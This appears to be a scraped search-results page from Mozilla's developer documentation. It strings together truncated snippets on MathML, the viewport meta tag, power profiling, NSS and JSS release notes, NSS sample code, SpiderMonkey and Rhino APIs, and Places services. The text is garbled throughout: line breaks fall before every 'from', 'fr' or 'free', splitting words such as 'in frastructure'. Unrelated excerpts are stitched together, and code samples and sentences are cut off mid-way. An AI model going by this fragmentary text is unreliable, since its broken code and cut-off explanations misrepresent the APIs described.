from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code.
... the url for a code module as you can see
from the example above, you need a url to import a code module.
...you can import add-on sdk modules in just the same way you could
from an sdk add-on: // import the sdk's base64 module var base64 = require("sdk/base64"); base64.encode("hello"); // "agvsbg8=" you can import other commonjs modules, too, as long as you know the path to them: // import my module var mymodule = require("resource://path/to/my/module.js"); in this case, though, you might be better off creating your own loader, so you can specify the paths proper...
Mozilla MathML Status
m
frac implemented.
...we are only interested in supporting attributes "inherited
from the surrounding context", which are those effectively used in practice.
... mtable - columnspacing, rowspacing,
framespacing implemented.
... original document information author(s):
frédéric wang other contributors: copyright information: portions of this content are © 2010 by individual mozilla.org contributors; content available under a creative commons license | details.
Mozilla MathML Project
demo of some mathml tags: m
frac, mo, mtable, mspace, mmultiscripts, msqrt-mroot.
... mathml extras - technology demonstration of some interesting upshots
from building natively upon the browser environment.
... various mathml tests - these pages were imported
from layout/mathml/tests/.
...sidje other contributors:
frédéric wang last updated date: april 4, 2010 copyright information: portions of this content are © 1999–2010 by individual mozilla.org contributors; content available under a creative commons license | details.
Using the viewport meta tag to control layout on mobile browsers
this is consistent with the css 2.1 specification, which says: if the pixel density of the output device is very different
from that of a typical computer display, the user agent should rescale pixel values.
...it is recommended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance
from the reader of an arm's length.
...for example, mobile safari often just zooms the page when changing
from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape.
... if web developers want their scale settings to remain consistent when switching orientations on the iphone, they must add a maximum-scale value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users
from zooming in: <meta name="viewport" content="initial-scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86.
Intel Power Gadget
intel power gadget provides real-time graphs of various power-related measures and estimates, all taken
from the intel rapl msrs.
... understanding the power gadget output the following screenshot (
from the mac version) demonstrates the available measurements.
...
frequency: shows operating
frequency measurements for the cores ("ia") and the gpu ("gt").
... (an energia dashboard can be seen here; please note that the data has not been updated since early 2014.) version 3.0 (available on mac and windows, but not on linux) also exposes an api
from which the same measurements can be extracted programmatically.
Leak-hunting strategies and tips
start finding and fixing leaks by running part of the task under nstracerefcnt logging, gradually building up
from as little as possible to the complete task, and fixing most of the leaks in the first steps before adding additional steps.
...this is also a
frequent problem around early returns when not using nscomptr.
...this means that if there are leaked gc roots
from which the wrapper is reachable, the wrapper will never release its reference on the native object.
...some places you can do this are: layout engine define debug_tracemalloc_
framearena where it is commented out in layout/base/nspresshell.cpp glib set the environment variable g_slice=always-malloc other references performance tools leak debugging screencasts (dbaron) leakingpages - a list of pages known to leak mdc:performance - contains documentation for all of our memory profiling and leak detection tools ...
powermetrics
the following is example output
from such an invocation: *** sampled system activity (
fri sep 4 17:15:14 2015 +1000) (5009.63ms elapsed) *** *** running tasks *** name id cpu ms/s user% deadlines (<2 ms, 2-5 ms) wakeups (intr, pkg idle) gpu ms/s com.apple.terminal 293 447.66 274.83 120.35 221.74 firefox ...
... 0.00 0.00 0.20 0.20 0.00 org.mozilla.firefox 482 76.56 124.34 63.47 0.00 firefox 84496 76.70 89.18 10.58 5.59 124.55 63.48 0.00 this sample was taken while the following programs were running: firefox beta (single process, invoked
from the mac os dock, shown in the org.mozilla.firefox coalition.) firefox nightly (multi-process, invoked
from the command line, shown in the com.apple.terminal coalition.) google chrome.
...high
frequency timers, which typically have short time-to-deadlines, can cause high power consumption and should be avoided if possible.
... by default, the coalitions/processes are sorted by a composite value computed
from several factors, though this can be changed via command-line options.
Phishing: a short definition
as most phishing attacks start with unsolicited email messages, a clear starting point is improving spam filters, thus reducing the number of
fraudulent messages reaching users.
... web browser vendors too, are interested in protecting their users
from phishing.
... after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to preventing
fraud.
... since version 2.0, firefox has used google’s safebrowsing service, to detect known web forgeries, and display an alert instead of the
fraudulent website.
Patches and pushes
here is an example search plugin file using
french yahoo.
...hkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="
fr" condition="pref" pref="yahoo-
fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
...
from the dropdown menu next to the review flag.
...for example: hg ci -m "bug 654321, copied the comment
from the doc without reading, r=nobody" path-to-changed-files close the bug, copying the url to your change in the closing comment.
Research and prep
if there's no existing collaboration with the site provider and mozilla, ask for permission
from the site provider to include it.
... examples
from various localizations some examples
from en-us web service provider rationale global search google best user experience and broadest results.
... some examples
from es-es web service provider rationale global search google best user experience and broadest results.
... some examples
from wo web service provider rationale global search google best user experience and broadest results.
A guide to searching crash reports
the numbers are large because this search matched all firefox crash reports
from the past seven days.
... this immediately shows which moz_crash calls are being hit
frequently by users.
... only a subset of crash reports have the "moz crash reason" field -- those that crashed due to hitting a moz_crash call -- so all crashes that lack that field are omitted
from this tab.
... an example of less useful grouping the usefulness of grouping varies
from field to field.
Anonymous Shared Memory
this restricts processes that do not inherit the shared memory
from opening the file and reading or writing its contents.
...nspr provides helper functions for extracting data
from the prfilemap object.
...application specific technique to find fmstring
from parent fm = pr_importfilemap
fromstring( fmstring ) addr = pr_memmap(fm); ...
...pr_memunmap(addr); pr_closefilemap(fm); anonymous shared memory functions pr_openanonfilemap pr_processattrsetinheritablefilemap pr_getinheritedfilemap pr_exportfilemapasstring pr_importfilemap
fromstring ...
PLHashAllocOps
syntax #include <plhash.h> typedef struct plhashallocops { void *(pr_callback *alloctable)(void *pool, prsize size); void (pr_callback *
freetable)(void *pool, void *item); plhashentry *(pr_callback *allocentry)(void *pool, const void *key); void (pr_callback *
freeentry)(void *pool, plhashentry *he, pruintn flag); } plhashallocops; #define ht_
free_value 0 /* just
free the entry's value */ #define ht_
free_entry 1 /*
free value and entire entry */ description users of the hash table functions can provide their own memory allocation functions.
... a pair of functions is used to allocate and tree the table, and another pair of functions is used to allocate and
free the table entries.
... the
freeentry function does not need to
free the value of the entry.
... if flag is ht_
free_entry, the function
frees the entry.
PR_Wait
returns the function returns one of the following values: pr_success means the thread is being resumed
from the pr_wait call either because it was explicitly notified or because the time specified by the parameter ticks has expired.
...the resumption
from the wait is merely a hint that a change of state has occurred.
... pr_exitmonitor(&ml); a thread can be resumed
from a wait for a variety of reasons.
... resuming
from the wait is merely an opportunity to evaluate the expression, not an assertion that the expression is true.
4.3.1 Release Notes
source tarballs are available
from ftp://ftp.mozilla.org/pub/mozilla.or...-4.3.1.tar.bz2 binary releases are no longer available on mozilla.
... platform information you can check out the source
from cvs by cvs co -r jss_4_3_1_rtm jss jss 4.3.1 works with jdk versions 4 or higher we suggest the latest.
...in general, a jss jar file must be used with the jss shared library
from the exact same release.
... to obtain the version info
from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feedback bugs discovered should be reported by filing a bug report with bugzilla.
JSS FAQ
jss
frequently asked questions newsgroup: mozilla.dev.tech.crypto content: what versions of jdk and jce do you suggest?
... is it possible to use jss to access cipher functionality
from pkcs11 modules?
...the nt fiber problem affects applications that call blocking system calls
from the primordial thread.
... cryptomanager.importcertpackage() is it possible to use jss to acces cipher functionality
from pkcs11 modules?
JSS
as of april 6, 2018, jss has been migrated
from mercurial on mozilla to git on github.
... jss source should now be checked out
from the github: git clone git@github.com:dogtagpki/jss.git -- or -- git clone https://github.com/dogtagpki/jss.git all future upstream enquiries to jss should now use the pagure issue tracker system: https://pagure.io/jss/issues documentation regarding the jss project should now be viewed at: http://www.dogtagpki.org/wiki/jss note: as much of the jss documentation is sorely out-of-date, updated information will be a work in progress, and many portions of any legacy documentation will be re-written over the course of time.
...if you use jss, you can easily get lists of modules and tokens that are configured in the nss db and
freely access all of it.
... release notes 4.3.1 release notes 4.3 release notes older release notes build instructions building jss 4.4.x building jss 4.3.x older build instructions download or view source download binaries, source, and javadoc view the source online testing jss tests
frequently asked questions jss faq information on jss planning can be found at wiki.mozilla.org, including: nss fips validation nss roadmap page community view mozilla cryptography forums...
NSS_3.12.1_release_notes.html
returns a string that must be
freed with port_
free().
... bug 311432: ecc's ecl_use_fp code (for linux x86) fails pairwise consistency test bug 330622: certutil's usage messages incorrectly document certain options bug 330628: coreconf/linux.mk should _not_ default to x86 but result in an error if host is not recognized bug 359302: remove the sslsample code
from nss source tree bug 372241: need more versatile form of cert_nametoascii bug 390296: nss ignores subject cn even when san contains no dnsname bug 401928: support generalized pkcs#5 v2 pbes bug 403543: pkix: need a way to enable/disable aia cert fetching bug 408847: pkix_ocspchecker_check does not support specified responder (and given signercert) bug 414003: crash [[@ cert_decodecer...
... bug 430916: add sustaining asserts bug 431805: leak in nssarena_destroy() bug 431929: memory leaks on error paths in devutil.c bug 432303: replace pkix_pl_memcpy with memcpy bug 433177: fix the gcc compiler warnings in lib/util and lib/
freebl bug 433437: vfychain ignores the -a option bug 433594: crash destroying ocsp cert id [[@ cert_destroyocspcertid ] bug 434099: nss relies on unchecked pkcs#11 object attribute values bug 434187: fix the gcc compiler warnings in nss/lib bug 434398: libpkix cannot find issuer cert immediately after checking it with ocsp bug 434808: certutil -b deadlock when importing two or more root...
...s bug 434860: coverity 1150 - dead code in ocsp_createcertid bug 436428: remove unneeded assert
from sec_pkcs7encryptlength bug 436430: make nss public headers compilable with no_nspr_10_support defined bug 436577: uninitialized variable in sec_pkcs5createalgorithmid bug 438685: libpkix doesn't try all the issuers in a bridge with multiple certs bug 438876: signtool is still using static libraries.
NSS 3.12.6 release notes
cert_distnames
fromcertlist: generate an array of distinguished names
from a list of certs.
... in ocsp.h cert_cacheocspresponse
fromsidechannel: this function is intended for use when ocsp responses are provided via a side-channel, i.e.
...hrows a null-argument exception on empty strings bug 530907: the peerid argument to ssl_setsockpeerid should be declared const bug 531188: decompression failure with https://livechat.merlin.pl/ bug 532417: build problem with spaces in path names bug 534943: clean up the makefiles in lib/ckfw/builtins bug 534945: lib/dev does not need to include headers
from lib/ckfw bug 535669: move common makefile code in if and else to the outside bug 536023: der_utctimetotime and der_generalizedtimetotime ignore all bytes after an embedded null bug 536474: add support for logging pre-master secrets bug 537356: implement new safe ssl3 & tls renegotiation bug 537795: nss_initcontext does not work with nss_registershutd...
... bug 542538: nss: add function for recording ocsp stapled replies bug 544191: use system zlib on mac os x bug 544584: segmentation fault when enumerating the nss database bug 544586: various nss-sys-init patches
from fedora bug 545273: remove unused function sec_init bug 546389: nsssysinit binary built inside source tree documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation.
NSS 3.45 release notes
bug 1550579 - replace arm32 curve25519 implementation with one
from fiat-crypto bug 1551129 - support static linking on windows bug 1552262 - expose a function pk11_findrawcertswithsubject for finding certificates with a given subject on a given slot bug 1546229 - add ipsec ike support to softoken bug 1554616 - add support for the elbrus lcc compiler (<=1.23) bug 1543874 - expose an external clock for ssl this adds new experimental functions: ssl_set...
... certificate authority changes the following ca certificates were removed: bug 1552374 - cn = certinomis - root ca sha-256 fingerprint: 2a99f5bc1174b73cbb1d620884e01c34e51ccb3978da125f0e33268883bf4158 bugs fixed in nss 3.45 bug 1540541 - don't unnecessarily strip leading 0's
from key material during pkcs11 import (cve-2019-11719) bug 1515342 - more thorough input checking (cve-2019-11729) bug 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorithms in tls 1.3 (cve-2019-11727) bug 1227090 - fix a potential divide-by-zero in makep
fromqandseed
from lib/
freebl/pqg.c (static analysis) bug 1227096 - fix a potential divide-by-zero in pqg_verifyparams
from lib/
freebl/pqg...
...fy output length on failure bug 1549382 - don't leak in pkcs#11 modules if c_getslotinfo() returns error bug 1551041 - fix builds using gcc < 4.3 on big-endian architectures bug 1554659 - add versioning to openbsd builds to fix link time errors using nss bug 1553443 - send session ticket only after handshake is marked as finished bug 1550708 - fix gyp scripts on solaris sparc so that lib
freebl_64fpu_3.so builds bug 1554336 - optimize away unneeded loop in mpi.c bug 1559906 - fipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as fips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using ...
...a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where removing -arch xxx args
from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension this bugzilla query returns all the bugs fixed in nss 3.45: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.45 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.52 release notes
bug 1612493 - integrate avx2 chacha20, poly1305, and chacha20poly1305
from hacl*.
... bug 1623184 - fix
freebl_cpuid for querying extended features.
... bug 1612493 - integrate avx2 chacha20, poly1305, and chacha20poly1305
from hacl*.
... bug 1603801 - avoid dcache pollution
from sdb_measureaccess().
NSS Developer Tutorial
miscellaneous goto can be used, to simplify resource deallocation, before returning
from a function.
... however, not all features
from c99 are equally available.
... opaque structs give us complete
freedom to change them, but require applications to call nss functions, to allocate and
free them.
... for new features, especially those that appear controversial, try to find a reviewer
from a different company or organization than your own, to avoid any perceptions of bias.
NSS Sample Code sample5
the public key & private key to use are * sourced
from a base64-encoded der subjectpublickeyinfo structure, * and a base64-encoded der privatekeyinfo structure.
...ernal slot */ slot = pk11_getinternalkeyslot(); if (slot == null) { fprintf(stderr, "couldn't find slot (err %d)\n", pr_geterror()); goto cleanup; } rv = atob_convertasciitoitem(&der, pubkstr); if (rv!= secsuccess) { fprintf(stderr, "atob_convertasciitoitem failed %d\n", pr_geterror()); goto cleanup; } spki = seckey_decodedersubjectpublickeyinfo(&der); secitem_
freeitem(&der, pr_false); pubkey = seckey_extractpublickey(spki); if (pubkey == null) { fprintf(stderr, "couldn't extract public key (err %d)\n", pr_geterror()); goto cleanup; } modulus_len = seckey_publickeystrength(pubkey); fprintf(stderr, "public key modulus %d bytes\n", modulus_len); buf1 = (char *)malloc(modulus_len); buf2 = (char *)malloc(modulus_len); /* initializ...
... * publicvalue arg (4th) can be null for rsa key - i think it is even * ignored */ pk11_importderprivatekeyinfoandreturnkey(slot, &der, null, null, pr_false, pr_true, ku_all, &pvtkey, null); secitem_
freeitem(&der, pr_false); if (pvtkey == null) { fprintf(stderr, "couldn't extract private key (err %d)\n", pr_geterror()); goto cleanup; } /* clear buf1 */ for (i=0;i<modulus_len;i++) { buf1[i]= '\0'; } /* decrypt buf2, result will be in buf1 */ rv = pk11_pubdecryptraw(pvtkey, buf1, &outlen, modulus_len, buf2, modulus_len); if (rv != secsu...
...rror()); goto cleanup; } fprintf(stderr, "result of decryption, outlen = %d\n", outlen); fprintf(stderr, "result of decryption, buf = \n%s\n", buf1); cleanup: if (cert) cert_destroycertificate(cert); if (pubkey) seckey_destroypublickey(pubkey); if (pvtkey) seckey_destroyprivatekey(pvtkey); if (spki) seckey_destroysubjectpublickeyinfo(spki); if (slot) pk11_
freeslot(slot); if (buf1)
free(buf1); if (buf2)
free(buf2); exit(1); } ...
NSS Sample Code sample6
should succeed on first run on a
fresh db, * should fail on successive runs because key with that id already exists */ genkey(1); /* generate a key with id 2.
... should succeed on first run on a
fresh db, * should fail on successive runs because key with that id already exists */ genkey(2); /* generate a key with id 1 - this will fail because key with that id * already exists */ genkey(1); } void genkey(int id) { pk11slotinfo* slot = null; pk11symkey* key = null; secitem keyiditem; int keyid[1]; ck_mechanism_type ciphermech; /* using ckm_aes_cbc_pad mechanism for example */ ciphermech = ckm_aes_cbc_pad; slot = pk11_getinternalkeyslot(); /* slot = pk11_getbestslot(ciphermech, null); didn't work.
... * since we're using aes in this example, we're specifying * one of the valid keysizes (16, 24, 32) */ key = pk11_tokenkeygen(slot, ciphermech, 0, 32 /*keysize*/, &keyiditem, pr_true, 0); if (key == null) { fprintf(stderr, "pk11_tokenkeygen failed (err %d)\n", pr_geterror()); pk11_
freeslot(slot); return; } fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "mechanism of key is %d (asked for %d)\n", pk11_getmechanism(key), ciphermech); pk11_
freesymkey(key); key = pk11_findfixedkey(slot, ciphermech, &keyiditem, 0); if (key == null) { fprintf(stderr, "pk11_findfixedkey failed (err %d)\n", ...
... pr_geterror()); pk11_
freeslot(slot); return; } fprintf(stderr, "found key!\n"); fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "mechanism of key is %d (asked for %d)\n", pk11_getmechanism(key), ciphermech); pk11_
freesymkey(key); pk11_
freeslot(slot); } char *passwdcb(pk11slotinfo *info, prbool retry, void *arg) { if (!retry) return pl_strdup("test"); else return null; } ...
NSS sources building testing
getting source code, and a quick overview the easiest way is to download archives of nss releases
from mozilla's download server.
...will be a name dynamically derived
from your system's architecture.
...in order to run the tools, you should set your system environment to use the libraries of your build
from the "lib" directory, e.g., using the ld_library_path or dyld_library_path environment variable.
...each test suite execution will create a new subdirectory; you should clean them up
from time to time.
nss tech note8
the protocol code can also ask to remove a sid
from the cache.
...that is, the client session lifetime was not separately settable
from the server session lifetime.
...if zero, then the called cache function would compute the correct expiration time by adding the chosen timeout (
from one of those two global variables) to the sid's creationtime, giving the expirationtime.
...this means that client cache session lifetimes are separate
from server session cache lifetimes, and that each server session cache may have its own lifetimes.
Notes on TLS - SSL 3.0 Intolerant Servers
this incorrect implementation causes them to reject connection attempts
from clients that are compliant with the ssl 3.0 and tls (aka ssl 3.1) specifications.
...it is designed to permit a server to detect a man-in-the-middle that is altering the ssl client hello (connection) requests as they pass
from the client to the server, altering them by changing the protocol version number to a lower version number.
... this feature was kind of meaningless until tls (ssl 3.1) came along because there was no version higher than 3.0
from which to be rolled back.
...if you find such a server, feel
free to add it to this page.
NSS environment variables
note: nss environment variables are subject to be changed and/or removed
from nss.
... variable type description introduced in version nsrandcount integer (byte count) sets the maximum number of bytes to read
from the file named in the environment variable nsrandfile (see below).
...nss_shared_db 3.12 nss_disable_arena_
free_list string (any non-empty value) define this variable to get accurate leak allocation stacks when using leak reporting software.
... 3.12.3 nss_strict_shutdown string (any non-empty value) will trigger an assertion failure in debug builds when a program tries to shutdown nss before
freeing all the resources it acquired
from nss while nss was initialized.
OLD SSL Reference
types and structures certcertdbhandle certcertificate pk11slotinfo secitem seckeyprivatekey secstatus managing secitem memory secitem_
freeitem secitem_z
freeitem chapter 4 ssl functions this chapter describes the core ssl functions.
...e ssl_configserversessionidcache initializing multi-processing with a shared ssl server cache ssl_configmpserversidcache ssl_inheritmpserversidcache ssl export policy functions nss_setdomesticpolicy nss_setexportpolicy nss_set
francepolicy ssl_cipherpolicyset ssl_cipherpolicyget ssl configuration functions ssl configuration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ...
... cert_checkcertvalidtimes nss_cmpcertchainwcanames manipulating certificates cert_dupcertificate cert_destroycertificate getting certificate information cert_findcertbyname cert_getcertnicknames cert_
freenicknames cert_getdefaultcertdb nss_findcertkeatype comparing secitem objects secitem_compareitem chapter 6 key functions this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with communicator.
... pk11_findcert
fromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc chapter 8 nss and ssl error codes nss error codes are retrieved using the nspr function pr_geterror.
Rhino and BSF
the bean scripting
framework (or bsf) was originally developed by ibm and now published as open source as a project at the apache software foundation.
... it provides a
framework for using a number of scripting languages with java.
... this
framework has been embedded in a number of open source projects, including the xsl processor xalan and the xml/java build tool ant.
... using bsf with rhino now that the apache jakarta bean scripting
framework (bsf), version 2.4.0, has been officially released, you can use rhino easily with bsf.
Rhino Debugger
break to stop all running scripts and give control to the debugger you may do any of the following: select the debug->break menu item on the menu bar press the break button on the toolbar press the pause/break key on the keyboard break on exceptions to give control to the debugger whenever a javascript is exception is thrown select the debug->break on exceptions checkbox
from the menu bar.
... break on function exit selecting debug->break on function return will give control to the debugger whenever the execution is about to return
from a function or script.
...when you select a stack
frame the variables and watch windows are updated to reflect the names and values of the variables visible at that scope.
...the code is evaluated in the context of the current stack
frame.
Rhino scopes and contexts
simple embeddings of rhino probably won't need any of the information here, but more complicated embeddings can gain performance and flexibility
from the techniques described below.
...only when the counter reaches zero will it be disassociated
from the thread.
...such behavior may not be suitable with shared scopes since if a script by mistake adds a property to a library object
from the shared scope, that object would not be garbage collected until there are no active references to the shared scope potentially leading to memory leaks.
... note that currently in order to use java classes (liveconnect)
from a sealed shared scope you need to pre-load a number of objects needed for liveconnect into the scope before it gets sealed.
Rhino shell
deserialize(filename) restore
from the specified file an object previously written by a call to serialize.
... sync(function) creates a synchronized function (in the sense of a java synchronized method)
from an existing function.
... examples invocation here the shell is invoked three times
from the command line.
...finally, the last invocation executes a script
from a file and accesses arguments to the script itself.
How to embed the JavaScript engine
then click the view source button, and copy the code
from the window that appears.
... run the helloworld executable at the command line: ./helloworld how to call c functions
from javascript say the c function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the js engine should ensure that undefined is passed for the missing ones): #define doit_minargs 2 // [spidermonkey 24] use jsbool instead of bool.
... static bool doit(jscontext *cx, unsigned argc, jsval *vp) { js::callargs args = callargs
fromvp(argc, vp); /* * look in argv for argc actual parameters, set *rval to return a * value to the caller.
...and say: ok = js_definefunctions(cx, global, my_functions); how to call javascript functions
from c first, create arguments for the call, here i create arguments with 2 items: // [spidermonkey 24] js::autovaluearray is not defined.
Bytecodes
the javascript
frontend constructs an ast
from the source text, then emits stack-based bytecodes
from that ast as a part of the jsscript data structure.
...within the engine, all bytecode execute within a stack
frame -- even global (top-level) and eval code has a stack
frame associated with it.
... a
frame on the stack has space for javascript values (the tagged value format) in a few different categories.
... the space for a single javascript value is called a "slot", so the categories are: argument slots: holds the actual arguments passed to the current
frame.
SpiderMonkey Internals: Thread Safety
you must only use it
from one thread.
...as an optimization, each thread has its own size-classified
freelists containing chunks of gc-managed memory ready to be allocated.
...a thread needs to lock on allocation only when the relevant per-thread
freelist is empty.
... when this happens, the thread also refills that
freelist
from the jsruntime-wide gc allocator while it's in the lock.
JS::Add*Root
this article covers features introduced in spidermonkey 31 register a variable as a member of the garbage collector's root set, to protect anything the root points at
from garbage collection.
...the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data
from being prematurely collected.
...if js::add*root succeeds, then as long as this variable points to a javascript value or pointer to gc-thing, that value/gc-thing is protected
from garbage collection.
... if the variable points to an object, then any memory reachable
from its properties is automatically protected
from garbage collection, too.
JS_EncodeCharacters
the caller is responsible for allocating and
freeing this buffer.
... /* remember to
free the bytes afterwards.
... */ js_
free(cx, dst); return js_true; on success, js_encodecharacters sets *dstlenp to the real result length and returns js_true.
...the user is responsible for allocating and
freeing the memory of the destination string.
JS_NewExternalString
(ultimately, the string will be garbage collected, and the javascript engine will call the string finalizer callback, allowing the application to
free the array.) the array does not need to be zero-terminated.
... fin jsstringfinalizer a string finalizer the javascript engine should use (later) to
free the string buffer chars.
... added in spidermonkey 17 type int (js_newexternalstringwithclosure only) indicates which string finalizer callback the javascript engine should use (later) to
free the string buffer chars.
...since the program allocated the memory, it will need to
free it; this happens in an external string finalizer indicated by the type parameter.
JS_PopArguments
frees the stack entry allocated by js_pusharguments.
... syntax void js_poparguments(jscontext *cx, void *mark); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
... mark void * pointer to a void * which holds the stack
frame pointer previously supplied by js_pusharguments.
... description js_poparguments
frees the stack
frame pointer previously allocated by js_pusharguments and unroots the jsvals which have been associated with it (those returned by js_pusharguments as well).
JS_SaveExceptionState
saves the exception state
from the specified context.
... syntax jsexceptionstate * js_saveexceptionstate(jscontext *cx); name type description cx jscontext * pointer to a js context
from which to derive runtime information.
...either of those two functions
frees any memory used by the jsexceptionstate.
... the jsexceptionstate created by this function automatically roots any pending exception object which needs to be protected
from the gc.
Exploitable crashes
a crash report
from your debugger, your os, or mozilla crash-stats can tell you a lot about whether or not a crash is potentially exploitable.
... you want to look primarily for three things, in order: look at the top
frame of the stack trace.
... if you see a hex address such as 0x292c2830 rather than a function name such as nslistboxbody
frame::getrowcount at the top of the stack, a bug has caused the program to transfer control to a "random" part of memory that isn't part of the program.
...the last number, in this case 0x00000000, is the memory address firefox was prevented
from accessing.
A Web PKI x509 certificate primer
in order for a certificate to be valid these three requirements must be met: there is a verification path
from the site certificate to a trusted certificate of the user agent (ie if you follow the issuer path you will end on a self-signed certificate that is considered trusted by the browser).
...it can also be used to express the maximum depth of the trust path
from the ca.
...*.yourcompany.com) but you want others outside of your organization to be able to browse to your website using https without having to manually import a root certificate, then you can get an ssl certificate
from one of the cas who already have a root certificate included in the major browsers.
...these are the recomendations of bit sizes (
from http://www.keylength.com/): asymmetric ecc(key) hash linestra(2004) 1902 172 172 ecrypt 2012 2432 224 224 nist 2012 2048 224 224 anssi 2010 4096 200 256 rfc 3766 2358 200 --- bsi 1976 256 256 in other words, sha1 is now deprecated for new uses.
Setting up an update server
for example, if you want the nightly mar
from 2019-09-17 for a 64 bit windows machine, you probably want the mar located at https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.complete.mar.
...this is a security measure designed to prevent anyone
from serving malicious updates.
...substituting <obj dir>, <mar output path>, <version> and <channel> appropriately: ./mach package touch "<obj dir>/dist/firefox/precomplete" mar="<obj dir>/dist/host/bin/mar.exe" moz_product_version=<version> mar_channel_id=<channel> ./tools/update-packaging/make_full_update.sh <mar output path> "<obj dir>/dist/firefox" for a local build, <channel> can be default, and <version> can be the value
from browser/config/version.txt (or something arbitrarily large like 2000.0a1).
... serving the update preparing the update files first, create the directory that updates will be served
from and put the mar file in it.
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality prevents users
from launching applications that haven't been code-signed, in order to help keep their computers secure.
... signing mozilla apps without the signing server firefox and thunderbird are built using mozilla's release automation in
frastructure.
... on mac os x, part of this in
frastructure is automatic signing of the ".app" folder using apple's codesign tool.
... click "certificates"
from the left hand menu.
XUL Accessibility
aggregating the text
from element subtree if the child node is hidden then it's ignored excepting the case when the element used as label is hidden itself if the child node is text node then its rendered value is appended if the child node is element then if it implements nsidomxullabeledcontrolelement then the value of label property is appended otherwise if it's a label element then then value attribute is appended otherwise append tooltiptext attribute append the accessible value searching specific element in neighbour of the element search inside the elem...
...name the following rules to generate accessible name are applied: check aria-labelledby attribute, name is generated
from elements pointed by aria-labelledby attribute <description id="descr1">label1</description> <description id="descr2">label2</description> <textbox aria-labelledby="descr1 descr2" /> if the element implements nsidomxullabeledcontrolelement or nsidomxulselectcontrolitemelement interface then it is used label property if the element doesn't implement nsidomxulselectcontrolelement then label att...
..." control="control" /> <hbox role="grouping" id="control" /> get tooltiptext attribute if the element is anonymous child of the element that is the direct child of toolbaritem element or the element is direct child of toolbaritem element then title attribute of toolbaritem element is used (currently it's used in firefox ui only) if the element has aria role and the role allows to aggregate name
from subtree of element then generate name
from subtree of the element description the following rules to generate accessible description are applied: check aria-describedby attribute, description is generated
from elements pointed by aria-describedby attribute <description id="descr1">label1</description> <description id="descr2">label2</description> <textbox aria-describedby="descr1 descr2" /...
... <description value="it's label for control" control="control" /> <hbox role="grouping" id="control" /> get tooltiptext attribute value if the aria role is used and it allows to have accessible value then aria-valuetext or aria-valuenow are used if the element is xlink then value is generated
from link location actions if the element is xlink then jump action is exposed if the element has registered click event handler then click action is exposed xul elements notification used to display an informative message.
Feed content access API
example: reading a feed
from the web it's actually quite easy to read and parse a feed.
...rfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parse
fromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data
from severa...
...l possible sources; in this case, we're loading a document into a string, then parsing that string using its parse
fromstring() method.
... however, you could also parse it
from a file using parse
fromstream(), or directly
from an url using parseasync().
Retrieving part of the bookmarks tree
first, you need to get an empty query and options objects
from the history service: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); find the folder you want to get known folder ids are retrieved
from the bookmarks service.
...you can also get folder ids
from a previous query.
...as long as the container is open, it will listen for notifications
from the bookmarks system to keep itself up-to-date.
... when you're done, be sure to close the container to
free up the resources.
Using the Places favicon service
this time is used by nsifaviconservice.setandloadfaviconforpage() to determine if the data is
fresh or needs reloading
from the server.
...most of the time, the favicon will be served
from the browser's cache and will have minimal performance impact.
...the expiration time is only used to determine whether data should be reloaded
from the network (or cache) or whether the version in the database is
fresh enough.
...however, since the uri will be different
from the default favicon, the decoded image will not be cached by the image library.
Using the Places livemark service
livemarks are bookmark folders that contain the most recent items
from an rss feed.
...the third parameter is the uri of the site the livemark was created
from (specified as an nsiuri object.
...when the update timer fires, it iterates over the list of livemarks, and will re
fresh a livemark *only* if it's expired.
...users can modify the default expiration time via the <tt>browser.bookmarks.livemark_re
